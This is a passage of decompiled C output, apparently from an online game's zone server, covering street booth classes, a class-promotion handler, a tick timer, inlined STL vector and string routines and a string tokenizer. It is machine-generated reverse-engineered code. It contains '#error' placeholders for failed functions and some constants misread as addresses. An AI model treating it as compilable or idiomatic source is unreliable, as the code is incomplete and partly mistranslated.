*)(v22 + 8) ) { if ( *(_DWORD *)(v81 + 2) != *(_DWORD *)v20 || *(_DWORD *)(v81 + 6) != *(_DWORD *)(v20 + 4) ) break; } v23 = (unsigned int)*(_BYTE *)(v8 + 30) >> 1; v20 += 12; ++m; if ( m >= (signed int)v23 ) { v14 = v81; goto LABEL_25; } } v35 = *(_DWORD *)v4; v79 = 2647; v78 = 2; v77 = 26; (*(void (__thiscall **)(void *, signed int, signed int, signed int))(v35 + 776))(v4, 26, 2, 2647); } else { v79 = 2643; LABEL_41: v36 = *(_DWORD *)v4; v78 = 2; v77 = 26; (*(void (__thiscall **)(void *, signed int, signed int, signed int))(v36 + 776))(v4, 26, 2, v79); } v87 = -1; FunctionEntarance::_FunctionEntarance(&_); return; } (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD, signed int))(*(_DWORD *)v4 + 776))(v4, 26, 2, 2629); LABEL_65: v87 = -1; v79 = (signed int)"ShineObjectClass::ShinePlayer::sp_NC_BOOTH_OPEN_REQ"; LABEL_66: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, (char *)v79); } //----- (0051D530) -------------------------------------------------------- #error "51D530: undefined or illegal type '#440' (funcsize=69)" //----- (0051D650) -------------------------------------------------------- void __thiscall StreetBoothBuy::StreetBoothBuy(StreetBoothBuy *this) { StreetBoothBuy *v1; // esi@1 v1 = this; StreetBooth::StreetBooth(&this->baseclass_0); v1->baseclass_0.vfptr = (StreetBoothVtbl *)&StreetBoothBuy::_vftable_; } // 5CFE64: using guessed type int (*StreetBoothBuy___vftable_)(); //----- (0051D670) -------------------------------------------------------- void __thiscall StreetBoothBuy::_StreetBoothBuy(StreetBoothBuy *this) { this->baseclass_0.vfptr = (StreetBoothVtbl *)&StreetBoothBuy::_vftable_; StreetBooth::_StreetBooth(&this->baseclass_0); } // 5CFE64: using guessed type int (*StreetBoothBuy___vftable_)(); //----- (0051D680) -------------------------------------------------------- char *__thiscall AbnormalStateContainer::AbnormalStateElement::ase_IndexString(AbnormalStateContainer::AbnormalStateElement *this) { return "Base"; } //----- (0051D690) -------------------------------------------------------- char *__thiscall StreetBoothSell::sb_Type(StreetBoothSell *this) { return "Sell"; } //----- (0051D6A0) -------------------------------------------------------- char *__thiscall StreetBoothBuy::sb_Type(StreetBoothBuy *this) { return "Buy"; } //----- (0051D6B0) -------------------------------------------------------- #error "51D6B0: undefined or illegal type '#440' (funcsize=202)" //----- (0051D970) -------------------------------------------------------- #error "51D970: undefined or illegal type '#440' (funcsize=282)" //----- (0051DD10) -------------------------------------------------------- #error "51DD10: undefined or illegal type '#440' (funcsize=305)" //----- (0051E110) -------------------------------------------------------- #error "51E110: undefined or illegal type '#440' (funcsize=470)" //----- (0051E730) -------------------------------------------------------- void __thiscall StreetBoothSell::StreetBoothSell(StreetBoothSell *this) { StreetBoothSell *v1; // esi@1 v1 = this; StreetBooth::StreetBooth(&this->baseclass_0); v1->baseclass_0.vfptr = (StreetBoothVtbl *)&StreetBoothSell::_vftable_; } // 5CFF98: using guessed type int (*StreetBoothSell___vftable_)(); //----- (0051E750) -------------------------------------------------------- void __thiscall StreetBoothSell::_StreetBoothSell(StreetBoothSell *this) { this->baseclass_0.vfptr = (StreetBoothVtbl *)&StreetBoothSell::_vftable_; StreetBooth::_StreetBooth(&this->baseclass_0); } // 5CFF98: using guessed type int (*StreetBoothSell___vftable_)(); //----- (0051E760) -------------------------------------------------------- #error "51E760: undefined or illegal type '#440' (funcsize=280)" //----- (0051EB30) -------------------------------------------------------- #error "51EB30: undefined or illegal type '#440' (funcsize=327)" //----- (0051EF70) -------------------------------------------------------- #error "51EF70: undefined or illegal type '#440' (funcsize=376)" //----- (0051F480) -------------------------------------------------------- #error "51F480: undefined or illegal type '#331' (funcsize=166)" //----- (0051F6B0) -------------------------------------------------------- #error "51F6B0: undefined or illegal type '#440' (funcsize=341)" //----- (0051FB20) -------------------------------------------------------- SubAbstatePriority::StateExchange __thiscall SubAbstatePriority::PriorityBase::bp_AbStateChange(SubAbstatePriority::PriorityBase *this, AbnormalStateDictionary::AbState::AbStateStr::AbStateStrArgument *oldparam, AbnormalStateDictionary::AbState::AbStateStr::AbStateStrArgument *newparam) { unsigned int v3; // edi@1 char *v4; // eax@1 unsigned int v5; // esi@1 int v6; // ecx@3 v3 = 0; v4 = (char *)&newparam->assa_Effect[0].value; v5 = (char *)oldparam - (char *)newparam; while ( 1 ) { if ( *(_DWORD *)&v4[v5 - 4] != *((_DWORD *)v4 - 1) ) return 0; v6 = *(_DWORD *)&v4[v5]; if ( v6 < *(_DWORD *)v4 ) break; if ( v6 == *(_DWORD *)v4 && v6 > 0 ) break; ++v3; v4 += 8; if ( v3 >= 4 ) return 2; } return 1; } //----- (0051FB70) -------------------------------------------------------- void __thiscall TargetAnalyser::TargetAnalyser(TargetAnalyser *this) { this->vfptr = (TargetAnalyserVtbl *)TargetAnalyser::_vftable_; } // 5D01BC: using guessed type int (__stdcall *TargetAnalyser___vftable_[6])(int target); //----- (0051FB80) -------------------------------------------------------- void __thiscall TargetAnalyser_Player::TargetAnalyser_Player(TargetAnalyser_Player *this) { this->baseclass_0.vfptr = (TargetAnalyserVtbl *)TargetAnalyser_Player::_vftable_; } // 5D01C8: using guessed type int (__stdcall *TargetAnalyser_Player___vftable_[3])(int target); //----- (0051FB90) -------------------------------------------------------- void __thiscall TargetAnalyser_Player::_TargetAnalyser_Player(TargetAnalyser_Player *this) { this->baseclass_0.vfptr = (TargetAnalyserVtbl *)TargetAnalyser::_vftable_; } // 5D01BC: using guessed type int (__stdcall *TargetAnalyser___vftable_[6])(int target); //----- (0051FBA0) -------------------------------------------------------- #error "51FBA0: undefined or illegal type '#331' (funcsize=6)" //----- (0051FBC0) -------------------------------------------------------- #error "51FBC0: undefined or illegal type '#331' (funcsize=4)" //----- (0051FBD0) -------------------------------------------------------- #error "51FBD0: undefined or illegal type '#331' (funcsize=6)" //----- (0051FBF0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_ThirdPromote(void *this, __int16 questid, char classtype) { int v3; // esi@1 char v4; // bl@1 CharClass *v5; // edi@1 char *v6; // edi@3 ZoneBaseSession *v7; // eax@5 Name4 *v8; // eax@7 CQuestZone *v9; // eax@8 __int16 Ack; // [sp+10h] [bp-14h]@8 char v11; // [sp+12h] [bp-12h]@8 int v12; // [sp+13h] [bp-11h]@8 int v13; // [sp+20h] [bp-4h]@1 int classtypea; // [sp+2Ch] [bp+8h]@1 v3 = (int)this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_ThirdPromote"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_ThirdPromote"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = classtype; v13 = 0; v5 = CharClassManager::operator__(&charclassmanager, classtype); classtypea = (*(int (**)(void))(**(_DWORD **)(v3 + 4004) + 56))(); if ( v5->vfptr->cc_BaseClass(v5) == classtypea ) { v6 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 4182; *((_WORD *)v6 + 1) = ShineObjectClass::ShineObject::so_GetZoneHandle_ItemLooter(v3); *((_DWORD *)v6 + 1) = (*(int (__thiscall **)(int))(*(_DWORD *)v3 + 836))(v3); v6[8] = v4; v6[9] = (*(int (__thiscall **)(int))(*(_DWORD *)v3 + 1220))(v3); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 10) ) { v7 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gameDB); ProtocolPacket::pp_SendPacket(&gpp, v7); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_ThirdPromote_ACK : Packet Too Long", 10); } if ( v4 ) { v8 = (Name4 *)(*(int (__thiscall **)(int))(*(_DWORD *)v3 + 1352))(v3); CAnnounceSystem::AnnounceSystem_ClassUp(&gAnnounceSystem, v8, v4); } Ack = questid; v11 = 3; v12 = v4 != 0; MoveManager::MoveManager((DiceTaiSai *)(v3 + 66048)); CQuestZone::Recv_NC_QUEST_SCRIPT_CMD_ACK(v9, (PROTO_NC_QUEST_SCRIPT_CMD_ACK *)&Ack); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_ThirdPromote : ChassChange to another brench", 0); } --funcallanalizer.fca_stackpoint; v13 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_ThirdPromote"); } //----- (0051FD90) -------------------------------------------------------- void __thiscall TickTimer::TickTimer(TickTimer *this) { this->m_CurDelayTime = 0; this->m_DelayTime = 0; this->m_bEnable = 0; } //----- (0051FDA0) -------------------------------------------------------- void __thiscall TickTimer::TickTimer(TickTimer *this, unsigned int TickDeltaTime) { this->m_CurDelayTime = 0; this->m_DelayTime = TickDeltaTime; this->m_bEnable = 0; } //----- (0051FDC0) -------------------------------------------------------- bool __thiscall TickTimer::Enable(TickTimer *this, bool bEnable) { this->m_bEnable = bEnable; this->m_CurDelayTime = 0; return 1; } //----- (0051FDE0) -------------------------------------------------------- bool __thiscall TickTimer::IsEnable(TickTimer *this) { return this->m_bEnable; } //----- (0051FDF0) -------------------------------------------------------- bool __thiscall TickTimer::CheckUpdateEvent(TickTimer *this, unsigned int TickDeltaTime) { unsigned int v2; // edx@2 unsigned int v3; // eax@2 unsigned int v4; // edx@2 bool result; // al@3 if ( this->m_bEnable && (v2 = TickDeltaTime + this->m_CurDelayTime, v3 = v2, this->m_CurDelayTime = v2, v4 = this->m_DelayTime, v4 < v3) ) { this->m_CurDelayTime = v3 - v4; result = 1; } else { result = 0; } return result; } //----- (0051FE20) -------------------------------------------------------- unsigned int __thiscall std::basic_string_std::allocator>::find(std::basic_string,std::allocator > *this, const char *_Ptr, unsigned int _Off, unsigned int _Count) { unsigned int result; // eax@1 unsigned int v5; // esi@1 unsigned int v6; // ebx@2 unsigned int v7; // ebx@3 size_t v8; // ebx@4 char *v9; // ebp@5 int v10; // ebp@7 void *v11; // eax@7 const char *v12; // edi@11 unsigned int v13; // ecx@11 void *v14; // esi@11 bool v15; // zf@11 char *v16; // ecx@17 std::basic_string,std::allocator > *v17; // [sp+0h] [bp-4h]@1 char *_Offa; // [sp+Ch] [bp+8h]@5 result = _Off; v5 = _Count; v17 = this; if ( __PAIR__(_Count, _Off) > this->_Mysize ) { v6 = this->_Mysize; if ( _Off < v6 && (v7 = v6 - _Off, _Count <= v7) && ((v8 = 1 - _Count + v7, this->_Myres < 0x10) ? (v9 = (char *)&this->_Bx, _Offa = (char *)&this->_Bx) : (v9 = *(char **)&this->_Bx._Buf[0], _Offa = (char *)&this->_Bx), v10 = (int)&v9[result], (v11 = memchr((const void *)v10, *_Ptr, v8)) != 0) ) { while ( 1 ) { v12 = _Ptr; v13 = v5; v14 = v11; v15 = 1; do { if ( !v13 ) break; v15 = *(_BYTE *)v14 == *v12; v14 = (char *)v14 + 1; ++v12; --v13; } while ( v15 ); if ( v15 ) break; v8 = v8 + v10 - (_DWORD)v11 - 1; v10 = (int)((char *)v11 + 1); v11 = memchr((char *)v11 + 1, *_Ptr, v8); if ( !v11 ) return -1; v5 = _Count; } v16 = _Offa; if ( v17->_Myres >= 0x10 ) v16 = *(char **)_Offa; result = v11 - v16; } else { result = -1; } } return result; } //----- (0051FEF0) -------------------------------------------------------- std::basic_string,std::allocator > *__cdecl std::_Copy_backward_opt_std::allocator>___std::basic_string_std::allocator>__>(std::basic_string,std::allocator > *_First, std::basic_string,std::allocator > *_Last, std::basic_string,std::allocator > *_Dest, std::_Nonscalar_ptr_iterator_tag __formal) { std::basic_string,std::allocator > *v4; // esi@1 std::basic_string,std::allocator > *v5; // edi@2 std::basic_string,std::allocator > *result; // eax@4 v4 = _Last; if ( _First == _Last ) { result = _Dest; } else { v5 = _Dest; do { --v4; --v5; std::basic_string_std::allocator>::assign(v5, v4, 0, 0xFFFFFFFFu); } while ( v4 != _First ); result = v5; } return result; } //----- (0051FF30) -------------------------------------------------------- void __cdecl std::fill_std::allocator>___std::basic_string_std::allocator>>(std::basic_string,std::allocator > *_First, std::basic_string,std::allocator > *_Last, std::basic_string,std::allocator > *_Val) { std::basic_string,std::allocator > *i; // esi@1 for ( i = _First; i != _Last; ++i ) std::basic_string_std::allocator>::assign(i, _Val, 0, 0xFFFFFFFFu); } //----- (0051FF60) -------------------------------------------------------- std::basic_string,std::allocator > *__cdecl std::_Uninit_copy_std::allocator>___std::basic_string_std::allocator>___std::allocator_std::allocator>>>(std::basic_string,std::allocator > *_First, std::basic_string,std::allocator > *_Last, std::basic_string,std::allocator > *_Dest, std::allocator,std::allocator > > *_Al, std::_Nonscalar_ptr_iterator_tag __formal) { std::basic_string,std::allocator > *v5; // esi@1 std::basic_string,std::allocator > *v6; // edi@1 int v8; // [sp+0h] [bp-20h]@1 std::basic_string,std::allocator > *_Next; // [sp+Ch] [bp-14h]@1 int *v10; // [sp+10h] [bp-10h]@1 int v11; // [sp+1Ch] [bp-4h]@1 v5 = _Dest; v6 = _First; v10 = &v8; _Next = _Dest; v11 = 0; while ( v6 != _Last ) { LOBYTE(v11) = 1; if ( v5 ) { v5->_Myres = 15; v5->_Mysize = 0; v5->_Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign(v5, v6, 0, 0xFFFFFFFFu); } ++v5; LOBYTE(v11) = 0; ++v6; } return v5; } //----- (00520000) -------------------------------------------------------- void __cdecl std::_Uninit_fill_n_std::allocator>___unsigned_int_std::basic_string_std::allocator>_std::allocator_std::allocator>>>(std::basic_string,std::allocator > *_First, unsigned int _Count, std::basic_string,std::allocator > *_Val, std::allocator,std::allocator > > *_Al, std::_Nonscalar_ptr_iterator_tag __formal) { std::basic_string,std::allocator > *v5; // esi@1 unsigned int v6; // edi@1 int v7; // [sp+0h] [bp-20h]@1 std::basic_string,std::allocator > *_Next; // [sp+Ch] [bp-14h]@1 int *v9; // [sp+10h] [bp-10h]@1 int v10; // [sp+1Ch] [bp-4h]@1 v5 = _First; v6 = _Count; v9 = &v7; _Next = _First; v10 = 0; while ( v6 > 0 ) { LOBYTE(v10) = 1; if ( v5 ) { v5->_Myres = 15; v5->_Mysize = 0; v5->_Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign(v5, _Val, 0, 0xFFFFFFFFu); } --v6; ++v5; LOBYTE(v10) = 0; } } //----- (005200A0) -------------------------------------------------------- std::basic_string,std::allocator > *__thiscall std::vector_std::allocator>_std::allocator_std::allocator>>>::_Ufill(std::vector,std::allocator >,std::allocator,std::allocator > > > *this, std::basic_string,std::allocator > *_Ptr, unsigned int _Count, std::basic_string,std::allocator > *_Val) { std::_Uninit_fill_n_std::allocator>___unsigned_int_std::basic_string_std::allocator>_std::allocator_std::allocator>>>( _Ptr, _Count, _Val, &this->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Val); return &_Ptr[_Count]; } //----- (005200D0) -------------------------------------------------------- void __thiscall std::vector_std::allocator>_std::allocator_std::allocator>>>::_Insert_n(std::vector,std::allocator >,std::allocator,std::allocator > > > *this, std::vector,std::allocator >,std::allocator,std::allocator > > >::iterator _Where, unsigned int _Count, std::basic_string,std::allocator > *_Val) { std::vector,std::allocator >,std::allocator,std::allocator > > > *v4; // esi@1 std::basic_string,std::allocator > *v5; // ebx@1 unsigned int v6; // ecx@2 signed int v7; // edx@3 unsigned int v8; // edi@4 int v9; // eax@6 int v10; // eax@11 int v11; // ecx@15 int v12; // eax@18 void *v13; // eax@22 void *v14; // ebx@22 std::basic_string,std::allocator > *v15; // ST18_4@22 std::basic_string,std::allocator > *v16; // ST20_4@22 int v17; // eax@22 int v18; // edi@24 std::basic_string,std::allocator > *v19; // eax@24 std::basic_string,std::allocator > *v20; // ecx@27 std::vector,std::allocator >,std::allocator,std::allocator > > >::iterator v21; // ebx@27 signed int v22; // edx@27 unsigned int v23; // ST28_4@28 std::basic_string,std::allocator > *v24; // ST24_4@28 unsigned int v25; // edx@28 std::basic_string,std::allocator > *v26; // eax@29 void *v27; // ecx@29 int v28; // [sp+0h] [bp-48h]@1 std::vector,std::allocator >,std::allocator,std::allocator > > > *thisa; // [sp+Ch] [bp-3Ch]@1 void *_Newvec; // [sp+10h] [bp-38h]@22 std::basic_string,std::allocator > *_Ptr; // [sp+14h] [bp-34h]@22 char _Tmp; // [sp+18h] [bp-30h]@1 void *p; // [sp+1Ch] [bp-2Ch]@1 int v34; // [sp+2Ch] [bp-1Ch]@1 unsigned int v35; // [sp+30h] [bp-18h]@1 unsigned int cookie; // [sp+34h] [bp-14h]@32 int *v37; // [sp+38h] [bp-10h]@1 int v38; // [sp+44h] [bp-4h]@1 std::basic_string,std::allocator > *_Wherea; // [sp+50h] [bp+8h]@29 int _Counta; // [sp+54h] [bp+Ch]@22 v37 = &v28; v4 = this; thisa = this; v35 = 15; v34 = 0; LOBYTE(p) = 0; std::basic_string_std::allocator>::assign( (std::basic_string,std::allocator > *)&_Tmp, _Val, 0, 0xFFFFFFFFu); v5 = v4->_Myfirst; v38 = 0; if ( v5 ) { v7 = (signed int)((char *)v4->_Myend + (unsigned int)(((unsigned __int64)(-1840700269i64 * (unsigned int)((char *)v4->_Myend - (char *)v5)) >> 32) - (unsigned int)v5)) >> 4; v6 = v7 + ((unsigned int)v7 >> 31); } else { v6 = 0; } v8 = _Count; if ( _Count ) { if ( v5 ) v9 = v4->_Mylast - v4->_Myfirst; else v9 = 0; if ( (unsigned int)&wholesaver.ws_savestore[1835].gapf2b8[-v9 + 3945] < _Count ) std::vector_std::allocator>_std::allocator_std::allocator>>>::_Xlen(v4); if ( v4->_Myfirst ) v10 = v4->_Mylast - v4->_Myfirst; else v10 = 0; if ( v6 >= _Count + v10 ) { v20 = v4->_Mylast; v21 = _Where; v22 = (signed int)((char *)v4->_Mylast + ((unsigned __int64)(-1840700269i64 * (unsigned int)((char *)v4->_Mylast - *(_DWORD *)&_Where)) >> 32) - *(_DWORD *)&_Where) >> 4; _Newvec = v4->_Mylast; if ( v22 + ((unsigned int)v22 >> 31) >= _Count ) { _Wherea = &v20[-_Count]; v26 = std::_Uninit_copy_std::allocator>___std::basic_string_std::allocator>___std::allocator_std::allocator>>>( &v20[-_Count], v20, v20, &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)((_BYTE)v20 - 28 * _Count)); v27 = _Newvec; v4->_Mylast = v26; std::_Copy_backward_opt_std::allocator>___std::basic_string_std::allocator>__>( *(std::basic_string,std::allocator > **)&v21, _Wherea, (std::basic_string,std::allocator > *)v27, (std::_Nonscalar_ptr_iterator_tag)_Wherea); std::fill_std::allocator>___std::basic_string_std::allocator>>( *(std::basic_string,std::allocator > **)&v21, (std::basic_string,std::allocator > *)(*(_DWORD *)&v21 + 28 * _Count), (std::basic_string,std::allocator > *)&_Tmp); } else { std::_Uninit_copy_std::allocator>___std::basic_string_std::allocator>___std::allocator_std::allocator>>>( *(std::basic_string,std::allocator > **)&_Where, v20, (std::basic_string,std::allocator > *)(*(_DWORD *)&_Where + 28 * _Count), &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); v23 = _Count - (signed int)((char *)v4->_Mylast - *(_DWORD *)&_Where) / 28; v24 = v4->_Mylast; LOBYTE(v38) = 3; std::vector_std::allocator>_std::allocator_std::allocator>>>::_Ufill( v4, v24, v23, (std::basic_string,std::allocator > *)&_Tmp); v25 = (unsigned int)&v4->_Mylast[_Count]; v4->_Mylast = (std::basic_string,std::allocator > *)v25; v38 = 0; std::fill_std::allocator>___std::basic_string_std::allocator>>( *(std::basic_string,std::allocator > **)&_Where, (std::basic_string,std::allocator > *)(v25 - 28 * _Count), (std::basic_string,std::allocator > *)&_Tmp); } } else { if ( (unsigned int)&wholesaver.ws_savestore[1835].gapf2b8[-(v6 >> 1) + 3945] >= v6 ) v11 = (v6 >> 1) + v6; else v11 = 0; if ( v4->_Myfirst ) v12 = v4->_Mylast - v4->_Myfirst; else v12 = 0; if ( v11 < _Count + v12 ) v11 = _Count + std::vector>::size(v4); _Counta = 28 * v11; v13 = operator new(28 * v11); v14 = v13; v15 = v4->_Myfirst; _Newvec = v13; _Ptr = (std::basic_string,std::allocator > *)v13; LOBYTE(v38) = 1; _Ptr = std::_Uninit_copy_std::allocator>___std::basic_string_std::allocator>___std::allocator_std::allocator>>>( v15, *(std::basic_string,std::allocator > **)&_Where, (std::basic_string,std::allocator > *)v13, &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); std::_Uninit_fill_n_std::allocator>___unsigned_int_std::basic_string_std::allocator>_std::allocator_std::allocator>>>( _Ptr, v8, (std::basic_string,std::allocator > *)&_Tmp, &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); v16 = v4->_Mylast; _Ptr += v8; std::_Uninit_copy_std::allocator>___std::basic_string_std::allocator>___std::allocator_std::allocator>>>( *(std::basic_string,std::allocator > **)&_Where, v16, _Ptr, &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); v17 = (int)v4->_Myfirst; if ( v17 ) v17 = (signed int)((char *)v4->_Mylast - v17) / 28; v18 = v17 + v8; v19 = v4->_Myfirst; if ( v19 ) { std::_Destroy_range_std::allocator>_std::allocator_std::allocator>>>( v19, v4->_Mylast, &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); operator delete(v4->_Myfirst); } v4->_Myend = (std::basic_string,std::allocator > *)((char *)v14 + _Counta); v4->_Mylast = (std::basic_string,std::allocator > *)((char *)v14 + 28 * v18); v4->_Myfirst = (std::basic_string,std::allocator > *)v14; } } if ( v35 >= 0x10 ) operator delete(p); __security_check_cookie(cookie); } //----- (00520410) -------------------------------------------------------- std::vector,std::allocator >,std::allocator,std::allocator > > >::iterator *__thiscall std::vector_std::allocator>_std::allocator_std::allocator>>>::insert(std::vector,std::allocator >,std::allocator,std::allocator > > > *this, std::vector,std::allocator >,std::allocator,std::allocator > > >::iterator *result, std::vector,std::allocator >,std::allocator,std::allocator > > >::iterator _Where, std::basic_string,std::allocator > *_Val) { std::vector,std::allocator >,std::allocator,std::allocator > > > *v4; // edi@1 std::basic_string,std::allocator > *v5; // esi@1 int v6; // esi@3 signed int v7; // edx@4 std::vector,std::allocator >,std::allocator,std::allocator > > >::iterator *v8; // eax@5 v4 = this; v5 = this->_Myfirst; if ( v5 && this->_Mylast - v5 ) { v7 = (signed int)(*(_DWORD *)&_Where - (_DWORD)v5 + ((unsigned __int64)(-1840700269i64 * (*(_DWORD *)&_Where - (signed int)v5)) >> 32)) >> 4; v6 = v7 + ((unsigned int)v7 >> 31); } else { v6 = 0; } std::vector_std::allocator>_std::allocator_std::allocator>>>::_Insert_n( this, _Where, 1u, _Val); v8 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = &v4->_Myfirst[v6]; return v8; } //----- (00520480) -------------------------------------------------------- void __thiscall std::vector_std::allocator>_std::allocator_std::allocator>>>::push_back(std::vector,std::allocator >,std::allocator,std::allocator > > > *this, std::basic_string,std::allocator > *_Val) { std::vector,std::allocator >,std::allocator,std::allocator > > > *v2; // edi@1 std::basic_string,std::allocator > *v3; // ebx@1 int v4; // esi@2 signed int v5; // edx@3 std::basic_string,std::allocator > *v6; // esi@6 v2 = this; v3 = this->_Myfirst; if ( v3 ) { v5 = (signed int)((char *)this->_Mylast + (unsigned int)(((unsigned __int64)(-1840700269i64 * (unsigned int)((char *)this->_Mylast - (char *)v3)) >> 32) - (unsigned int)v3)) >> 4; v4 = v5 + ((unsigned int)v5 >> 31); } else { v4 = 0; } if ( v3 && v4 < this->_Myend - v3 ) { v6 = this->_Mylast; std::_Uninit_fill_n_std::allocator>___unsigned_int_std::basic_string_std::allocator>_std::allocator_std::allocator>>>( this->_Mylast, 1u, _Val, &this->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Val); v2->_Mylast = v6 + 1; } else { std::vector_std::allocator>_std::allocator_std::allocator>>>::insert( this, (std::vector,std::allocator >,std::allocator,std::allocator > > >::iterator *)&_Val, (std::vector,std::allocator >,std::allocator,std::allocator > > >::iterator)this->_Mylast, _Val); } } //----- (00520510) -------------------------------------------------------- void __cdecl tokenize(std::basic_string,std::allocator > *str, std::vector,std::allocator >,std::allocator,std::allocator > > > *result, std::basic_string,std::allocator > *delimiters, std::basic_string,std::allocator > *delimiters_preserve, std::basic_string,std::allocator > *quote, std::basic_string,std::allocator > *esc) { std::basic_string,std::allocator > *v6; // esi@1 std::basic_string,std::allocator > *v7; // edi@2 unsigned int v8; // esi@4 std::basic_string,std::allocator > *v9; // edi@4 unsigned int v10; // eax@4 unsigned int v11; // eax@9 int v12; // edi@9 int v13; // eax@10 char v14; // bl@12 bool v15; // zf@12 void *v16; // ecx@45 void *v17; // eax@45 int v18; // eax@47 unsigned int v19; // eax@50 void *v20; // eax@55 int v21; // ecx@57 void *v22; // esi@57 void *v23; // edx@58 unsigned int v24; // eax@60 unsigned int v25; // ecx@64 char add_delimiter; // [sp+10h] [bp-64h]@13 char escaped; // [sp+14h] [bp-60h]@12 char add_char; // [sp+18h] [bp-5Ch]@12 char quoted; // [sp+19h] [bp-5Bh]@4 char token_complete; // [sp+1Ah] [bp-5Ah]@4 char current_quote; // [sp+1Bh] [bp-59h]@4 unsigned int pos; // [sp+1Ch] [bp-58h]@4 unsigned int len; // [sp+20h] [bp-54h]@2 char _Ch[4]; // [sp+24h] [bp-50h]@12 char delimiter; // [sp+28h] [bp-4Ch]@12 char token; // [sp+2Ch] [bp-48h]@52 void *v37; // [sp+30h] [bp-44h]@4 int v38; // [sp+40h] [bp-34h]@4 unsigned int v39; // [sp+44h] [bp-30h]@4 char delim_token; // [sp+48h] [bp-2Ch]@68 void *p; // [sp+4Ch] [bp-28h]@68 int v42; // [sp+5Ch] [bp-18h]@68 unsigned int v43; // [sp+60h] [bp-14h]@68 unsigned int v44; // [sp+64h] [bp-10h]@76 int v45; // [sp+70h] [bp-4h]@4 v6 = result->_Myfirst; if ( v6 ) { v7 = result->_Mylast; len = result->_Mylast - v6; if ( len ) { std::_Destroy_range_std::allocator>_std::allocator_std::allocator>>>( v6, v7, &result->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)result); operator delete(result->_Myfirst); result->_Myfirst = 0; result->_Mylast = 0; result->_Myend = 0; } } v8 = 0; pos = 0; current_quote = 0; quoted = 0; v39 = 15; v38 = 0; LOBYTE(v37) = 0; v9 = str; v10 = str->_Mysize; v45 = 0; token_complete = 0; len = v10; if ( v10 > 0 ) { while ( 1 ) { if ( v9->_Mysize <= v8 ) std::_String_base::_Xran(&v9->baseclass_0.___u0.baseclass_0); v11 = v9->_Myres; v12 = (int)&v9->_Bx; if ( v11 < 0x10 ) v13 = v12; else v13 = *(_DWORD *)v12; v14 = *(_BYTE *)(v13 + v8); v15 = esc->_Mysize == 0; _Ch[0] = *(_BYTE *)(v13 + v8); delimiter = 0; add_char = 1; escaped = 0; if ( !v15 ) { add_delimiter = v14; if ( std::basic_string_std::allocator>::find(esc, &add_delimiter, 0, 1u) != -1 ) { ++v8; pos = v8; if ( v8 >= len ) { add_char = 0; } else { if ( str->_Mysize <= v8 ) std::_String_base::_Xran(&str->baseclass_0.___u0.baseclass_0); if ( str->_Myres < 0x10 ) { v14 = *(_BYTE *)(v12 + v8); _Ch[0] = *(_BYTE *)(v12 + v8); add_char = 1; } else { v14 = *(_BYTE *)(*(_DWORD *)v12 + v8); _Ch[0] = *(_BYTE *)(*(_DWORD *)v12 + v8); add_char = 1; } } escaped = 1; } } if ( quote->_Mysize ) { if ( !escaped ) { add_delimiter = v14; if ( std::basic_string_std::allocator>::find(quote, &add_delimiter, 0, 1u) != -1 ) { if ( !quoted ) { quoted = 1; current_quote = v14; LABEL_29: add_char = 0; goto LABEL_30; } if ( current_quote == v14 ) { quoted = 0; current_quote = 0; goto LABEL_29; } } } } LABEL_30: if ( delimiters->_Mysize ) { if ( !escaped ) { if ( !quoted ) { add_delimiter = v14; if ( std::basic_string_std::allocator>::find( delimiters, &add_delimiter, 0, 1u) != -1 ) { if ( v38 ) token_complete = 1; add_char = 0; } } } } v15 = delimiters_preserve->_Mysize == 0; add_delimiter = 0; if ( v15 || escaped || quoted || (escaped = v14, std::basic_string_std::allocator>::find( delimiters_preserve, &escaped, 0, 1u) == -1) ) { if ( add_char == 1 ) { v16 = v37; v17 = v37; if ( v39 < 0x10 ) v17 = &v37; v18 = (int)((char *)v17 + v38); if ( v39 < 0x10 ) v16 = &v37; if ( v18 ) v19 = v18 - (_DWORD)v16; else v19 = 0; std::basic_string_std::allocator>::insert( (std::basic_string,std::allocator > *)&token, v19, 1u, _Ch[0]); } } else { if ( v38 ) token_complete = 1; delimiter = v14; add_delimiter = 1; } if ( token_complete == 1 && v38 ) { std::vector_std::allocator>_std::allocator_std::allocator>>>::push_back( result, (std::basic_string,std::allocator > *)&token); v20 = v37; if ( v39 < 0x10 ) v20 = &v37; v21 = (int)((char *)v20 + v38); v22 = v37; if ( v39 >= 0x10 ) { v23 = v37; } else { v22 = &v37; v23 = &v37; } if ( v22 ) v24 = v22 - v23; else v24 = 0; if ( v21 ) v25 = v21 - (_DWORD)v22; else v25 = 0; 